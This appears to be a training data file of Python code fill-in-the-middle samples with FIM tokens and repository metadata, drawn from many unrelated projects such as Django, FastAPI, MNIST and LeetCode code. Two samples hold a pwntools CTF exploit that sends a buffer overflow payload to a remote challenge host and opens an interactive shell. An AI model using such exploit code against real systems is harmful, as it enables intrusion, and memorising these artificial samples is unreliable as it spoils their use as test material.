from django.contrib.staticfiles.urls import static # 本Ch11.1
from django.urls import path, include
from . import settings_common, settings_dev # 本Ch11.1
import debug_toolbar
<|fim_suffix|>]
# 開発サ... | code_fim | hard | {
"lang": "python",
"repo": "ALiberInc/Python_Django_LoginTest",
"path": "/login_test_prj/urls.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aspose-email/Aspose.Email-Python-Dotnet path: /Examples/WorkingWithOutlookStorageFiles/RetrievingParentFolderInformationFromMessageInfo.py
from aspose.email.storage.pst import *
from aspose.email.mapi import MapiCalendar
from aspose.email.mapi import MapiRecipientType
from aspose.email.mapi impor... | code_fim | hard | {
"lang": "python",
"repo": "aspose-email/Aspose.Email-Python-Dotnet",
"path": "/Examples/WorkingWithOutlookStorageFiles/RetrievingParentFolderInformationFromMessageInfo.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> folderInfo = personalStorage.get_parent_folder(messageInfo.entry_id)
print(folderInfo.display_name)
#ExEnd: RetrievingParentFolderInformationFromMessageInfo
if __name__ == '__main__':
run()<|fim_prefix|># repo: aspose-email/Aspose.Email-Python-Dotnet path: /Examples/WorkingWithOutlookStorag... | code_fim | hard | {
"lang": "python",
"repo": "aspose-email/Aspose.Email-Python-Dotnet",
"path": "/Examples/WorkingWithOutlookStorageFiles/RetrievingParentFolderInformationFromMessageInfo.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Huangkai1008/quiz path: /quiz/schema/user.py
from quiz.schema.base import Schema
from quiz.schema.schemas import UserSchemas
class RegisterSchema(Schema):
"""
注册
"""
<|fim_suffix|>
class LoginSchema(Schema):
"""
登录
"""
_schema = UserSchemas.LOGIN_SCHEMA.value<|fim_... | code_fim | easy | {
"lang": "python",
"repo": "Huangkai1008/quiz",
"path": "/quiz/schema/user.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> _schema = UserSchemas.LOGIN_SCHEMA.value<|fim_prefix|># repo: Huangkai1008/quiz path: /quiz/schema/user.py
from quiz.schema.base import Schema
from quiz.schema.schemas import UserSchemas
class RegisterSchema(Schema):
"""
注册
"""
_schema = UserSchemas.REG_SCHEMA.value
<|fim_middle|>... | code_fim | easy | {
"lang": "python",
"repo": "Huangkai1008/quiz",
"path": "/quiz/schema/user.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>payload = padding * "A" + p32(0xabcd1234)
p.send(payload)
p.interactive()
p.close()<|fim_prefix|># repo: b09780978/ctf-wirte-ups path: /bamboofox/binary_100/exp.py
from pwn import *
DEBUG = False
if DEBUG:
p = process("binary_100")
else:
p = remote("bamboofox.cs.nctu.edu.tw", 22001)
<|fim_mi... | code_fim | easy | {
"lang": "python",
"repo": "b09780978/ctf-wirte-ups",
"path": "/bamboofox/binary_100/exp.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: b09780978/ctf-wirte-ups path: /bamboofox/binary_100/exp.py
from pwn import *
DEBUG = False
<|fim_suffix|>p.interactive()
p.close()<|fim_middle|>if DEBUG:
p = process("binary_100")
else:
p = remote("bamboofox.cs.nctu.edu.tw", 22001)
padding = 0x34 - 0xc
payload = padding * "A" + p32(0x... | code_fim | medium | {
"lang": "python",
"repo": "b09780978/ctf-wirte-ups",
"path": "/bamboofox/binary_100/exp.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: icml205688/icml205688_code path: /models/mnist/lenet_mnist.py
#
# Copyright (c) 2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://w... | code_fim | hard | {
"lang": "python",
"repo": "icml205688/icml205688_code",
"path": "/models/mnist/lenet_mnist.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>class Lenet(nn.Module):
def __init__(self):
super(Lenet, self).__init__()
self.conv1 = nn.Conv2d(1, 20, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(20, 50, 5)
self.fc1 = nn.Linear(800, 500)
self.fc2 = nn.Linear(500, 10)
def forward(self... | code_fim | medium | {
"lang": "python",
"repo": "icml205688/icml205688_code",
"path": "/models/mnist/lenet_mnist.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> for key in mapCoords:
tList = mapCoords[key]
tData = np.zeros(dims)#generate zeros
s = str(key) + '_label.nii.gz'
save_loc = os.path.join(save_path,s)
for coord in tList:
tData[coord[0],coord[1],coord[2]] = key #fix the coords to the correct value fo... | code_fim | hard | {
"lang": "python",
"repo": "Tikahari/NSG-Patient-Anatomy-App",
"path": "/Server/processingServer/processingServer/NiftiTransform.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Tikahari/NSG-Patient-Anatomy-App path: /Server/processingServer/processingServer/NiftiTransform.py
import os
import numpy as np
import nibabel as nib
def loop_access(n,m,data,tpl):
if n >m:
return loop_access(n,m+1,data[tpl[m]],tpl)
else:
return data[tpl[m]]
def loop_rec... | code_fim | medium | {
"lang": "python",
"repo": "Tikahari/NSG-Patient-Anatomy-App",
"path": "/Server/processingServer/processingServer/NiftiTransform.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: beibeisongs/T.F.E.P. path: /CalculatorForParts.py
#encoding=utf-8
import json
import os
def get_Userid(path):
path_Divided = path.split('\\')
#print(path_Divided)
get_id= path_Divided[6].split('.')
get_id = get_id[0]
#print(get_id)
return get_id
def compose... | code_fim | medium | {
"lang": "python",
"repo": "beibeisongs/T.F.E.P.",
"path": "/CalculatorForParts.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> f1 = open(json_path_to_read,encoding='utf-8')
pic_num = len(f1.readlines())
return pic_num
def gothrough_Source(path_json_source, province, city, pic_num_least):
total = 0
"""
为了能够看到下载进度，在此先计算账户总数
"""
for dirpath, dirnames, filenames in os.walk(path_json_source)... | code_fim | hard | {
"lang": "python",
"repo": "beibeisongs/T.F.E.P.",
"path": "/CalculatorForParts.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>"""
print("请输入想要下载的省份或直辖市：")
input_province = input()
print("请输入想要下载的城市：")
input_city = input()
print("请输入想要下载的年份：（2014）")
input_year = input()
print("请输入想要下载的月份：（07）")
input_month = input()
print("请输入想要过滤的图片数目下限：")
pic_num_least = input()
"""
input_province = "广东省"
input_city = "广州市"
input_... | code_fim | hard | {
"lang": "python",
"repo": "beibeisongs/T.F.E.P.",
"path": "/CalculatorForParts.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: himichael/LeetCode path: /src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py
# Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
<|fim_suffix|> def splitListToParts(self, root, k):
... | code_fim | medium | {
"lang": "python",
"repo": "himichael/LeetCode",
"path": "/src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> #print "per_len-->"+str(per_len)+" extra_count-->"+str(extra_count)
per_link_start = q
while q:
if per==per_len:
tmp = q.next
if extra_count:
p,tmp.next = tmp.next,None
tmp,extra_count = p,extra_count-1
else:
q.next = None
res[index],q,index = per_link_start,tmp,in... | code_fim | hard | {
"lang": "python",
"repo": "himichael/LeetCode",
"path": "/src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
:type root: ListNode
:type k: int
:rtype: List[ListNode]
"""
if not root:
return [None]*k
res,p,q,n = [None]*k,root,root,0
while p:
p,n = p.next,n+1
per_len,per = 1 if n/k==0 else n/k,1
extra_count,index = 0 if n<=k else n%k,0
#print "per_len-->"+str(per_len)+" extra_c... | code_fim | medium | {
"lang": "python",
"repo": "himichael/LeetCode",
"path": "/src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mirror12k/analyze-swf-file path: /unpack_swf.py
#!/usr/bin/env python3
import sys
import os
import math
import tempfile
import zlib
import lzma
import struct
import bitstruct
# a swf file unpacker and analyzer
# majority of information taken from https://www.adobe.com/devnet/swf.html (vers... | code_fim | hard | {
"lang": "python",
"repo": "mirror12k/analyze-swf-file",
"path": "/unpack_swf.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def unpackHeader2(self):
'''unpacks the rest of the header data that might have been compressed'''
self.frameSize = self.unpackRect()
self.frameRate, self.frameCount = struct.unpack('<HH', self.handle.read(4))
# frameRate is an 8.8 float actually, but i'm not sure how to unpack that...
def unpa... | code_fim | hard | {
"lang": "python",
"repo": "mirror12k/analyze-swf-file",
"path": "/unpack_swf.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Prakash-Rajagopal/ToyApp path: /fastapi/main.py
from typing import List
from fastapi import Depends, FastAPI, HTTPException
from sqlalchemy.orm import Session
from myfirstpython.fastapi import models, crud, schemas
from myfirstpython.fastapi.dbconnection import engine, SessionLocal
models.Base... | code_fim | hard | {
"lang": "python",
"repo": "Prakash-Rajagopal/ToyApp",
"path": "/fastapi/main.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> cans = crud.get_candidates(db, skip=skip, limit=limit)
return cans
@app.get("/cands/{email}", response_model=schemas.Can)
def read_can(email: str, db: Session = Depends(get_db)):
db_can = crud.get_candidate(db, email)
if db_can is None:
raise HTTPException(status_code=404, detail... | code_fim | hard | {
"lang": "python",
"repo": "Prakash-Rajagopal/ToyApp",
"path": "/fastapi/main.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> pass
@abc.abstractmethod
def get_last_id(self):
pass
@abc.abstractmethod
def get_done_items(self):
pass
"""@abc.abstractmethod
def close(self):
pass"""<|fim_prefix|># repo: KarimAlMaghribi/pythonTests path: /ToDo_2.0... | code_fim | hard | {
"lang": "python",
"repo": "KarimAlMaghribi/pythonTests",
"path": "/ToDo_2.0/Connector.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> pass
@abc.abstractmethod
def update_item(self, item):
pass
@abc.abstractmethod
def get_last_id(self):
pass
@abc.abstractmethod
def get_done_items(self):
pass
"""@abc.abstractmethod
def close(self):
... | code_fim | medium | {
"lang": "python",
"repo": "KarimAlMaghribi/pythonTests",
"path": "/ToDo_2.0/Connector.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: KarimAlMaghribi/pythonTests path: /ToDo_2.0/Connector.py
import abc
class Connector:
"""@abc.abstractmethod
def connect(self):
<|fim_suffix|>
@abc.abstractmethod
def get_done_items(self):
pass
"""@abc.abstractmethod
def close(self):... | code_fim | hard | {
"lang": "python",
"repo": "KarimAlMaghribi/pythonTests",
"path": "/ToDo_2.0/Connector.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>participatory_processes_reader = ParticipatoryProcessesReader(decidim_connector)
participatory_processes = participatory_processes_reader.process_query()<|fim_prefix|># repo: jorgechp/pydecidim path: /main.py
from api.decidim_connector import DecidimConnector
from api.participatory_processes_reader impor... | code_fim | medium | {
"lang": "python",
"repo": "jorgechp/pydecidim",
"path": "/main.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jorgechp/pydecidim path: /main.py
from api.decidim_connector import DecidimConnector
from api.participatory_processes_reader import ParticipatoryProcessesReader
from api.version_reader import VersionReader
<|fim_suffix|>participatory_processes_reader = ParticipatoryProcessesReader(decidim_connec... | code_fim | medium | {
"lang": "python",
"repo": "jorgechp/pydecidim",
"path": "/main.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sebsquire/Dogs-and-cats-image-classification-CNN path: /modelresults_inspection.py
'''
Inspection of the network with unlabelled data
'''
import numpy as np
import matplotlib.pyplot as plt
from main import IMG_SIZE, MODEL_NAME, model
model.load(MODEL_NAME)
''' COMMENT OUT F... | code_fim | medium | {
"lang": "python",
"repo": "sebsquire/Dogs-and-cats-image-classification-CNN",
"path": "/modelresults_inspection.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>fig = plt.figure()
# plot last 12 of test data and predicted class
for num, data in enumerate(test_data[:12]):
# cat: [1,0]
# dog: [0,1]
img_num = data[1]
img_data = data[0]
y = fig.add_subplot(3, 4, num+1)
orig = img_data
data = img_data.reshape(IMG_SIZE, IMG_SI... | code_fim | hard | {
"lang": "python",
"repo": "sebsquire/Dogs-and-cats-image-classification-CNN",
"path": "/modelresults_inspection.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># Plot one test_data
i = random.randint(0,x_test_data.shape[0])
print(y_test_data[i])
plt.title('Test Data')
plt.imshow(x_test_data[i],cmap='binary')
plt.show()<|fim_prefix|># repo: rkuo2000/tf path: /mnist_plotdata.py
import random
import matplotlib.pyplot as plt
import tensorflow.keras as keras
... | code_fim | medium | {
"lang": "python",
"repo": "rkuo2000/tf",
"path": "/mnist_plotdata.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rkuo2000/tf path: /mnist_plotdata.py
import random
import matplotlib.pyplot as plt
import tensorflow.keras as keras
mnist = keras.datasets.mnist # MNIST datasets
# Load Data and splitted to train & test sets
# x : the handwritten data, y : the number
(x_train_data, y_train_data), (x_tes... | code_fim | medium | {
"lang": "python",
"repo": "rkuo2000/tf",
"path": "/mnist_plotdata.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Take a step forward in environment for a minibatch of observations
Inputs:
obs (PyTorch Variable): Observations for this agent
explore (boolean): Whether or not to sample
Outputs:
action (PyTorch Variable): Actions for this agent
... | code_fim | hard | {
"lang": "python",
"repo": "WeiChengTseng/DL_final_project",
"path": "/maac/utils/agents.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: WeiChengTseng/DL_final_project path: /maac/utils/agents.py
from torch import Tensor
from torch.autograd import Variable
from torch.optim import Adam
from maac.utils.misc import hard_update, onehot_from_logits
from maac.utils.policies import DiscretePolicy
class AttentionAgent(object):
"""
... | code_fim | hard | {
"lang": "python",
"repo": "WeiChengTseng/DL_final_project",
"path": "/maac/utils/agents.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def load_params(self, params):
self.policy.load_state_dict(params['policy'])
self.target_policy.load_state_dict(params['target_policy'])
self.policy_optimizer.load_state_dict(params['policy_optimizer'])<|fim_prefix|># repo: WeiChengTseng/DL_final_project path: /maac/utils/agen... | code_fim | hard | {
"lang": "python",
"repo": "WeiChengTseng/DL_final_project",
"path": "/maac/utils/agents.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: apendleton/panels_rgb path: /real_lib.py
import pyenttec, math, time
global port
MAX = 60
panels = [408, 401, 404, 16]
def render():
<|fim_suffix|> port = pyenttec.select_port()
func()<|fim_middle|> port.render()
def setColor(panel, color):
if panels[panel]:
port.set_c... | code_fim | hard | {
"lang": "python",
"repo": "apendleton/panels_rgb",
"path": "/real_lib.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: apendleton/panels_rgb path: /real_lib.py
import pyenttec, math, time
global port
MAX = 60
<|fim_suffix|> port.render()
def setColor(panel, color):
if panels[panel]:
port.set_channel(panels[panel] - 1, color[0])
port.set_channel(panels[panel], color[1])
port.set_... | code_fim | easy | {
"lang": "python",
"repo": "apendleton/panels_rgb",
"path": "/real_lib.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def run(func):
global port
port = pyenttec.select_port()
func()<|fim_prefix|># repo: apendleton/panels_rgb path: /real_lib.py
import pyenttec, math, time
global port
MAX = 60
<|fim_middle|>panels = [408, 401, 404, 16]
def render():
port.render()
def setColor(panel, color):
if p... | code_fim | hard | {
"lang": "python",
"repo": "apendleton/panels_rgb",
"path": "/real_lib.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> # import the parsed Order Executed With Price data into a Pandas dataframe:
ord_exec_pr_df = pd.read_csv('ord_exec_pr_data.csv', index_col = None,
names = ['Reference', 'Shares', 'Price'])
# import the parsed Trade data into a Pandas dataframe:
trade_1_df = pd.read_csv('t... | code_fim | hard | {
"lang": "python",
"repo": "karlhthompson/niv",
"path": "/nasdaq_itch_vwap.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
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